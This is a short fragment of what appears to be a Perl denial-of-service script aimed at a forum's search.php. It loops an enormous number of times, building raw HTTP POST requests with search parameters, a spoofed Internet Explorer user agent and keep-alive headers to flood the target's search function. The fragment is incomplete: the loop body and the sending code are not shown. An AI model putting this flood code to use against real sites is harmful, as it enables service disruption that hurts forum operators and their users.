for ($i=0; $i<99999999999999999999999999999999999999999999999999  99999999999999999999; $i++)

$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now"; 
$len = length $data; 
$foo = "POST ".$dir."search.php HTTP/1.1\r\n". 
               "Accept: */*\r\n". 
               "Accept-Language: en-gb\r\n". 
               "Content-Type: application/x-www-form-urlencoded\r\n". 
               "Accept-Encoding: gzip, deflate\r\n". 
               "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n". 
               "Host: $host\r\n". 
               "Content-Length: $len\r\n". 
               "Connection: Keep-Alive\r\n". 
               "Cache-Control: no-cache\r\n\r\n". 
 "$data";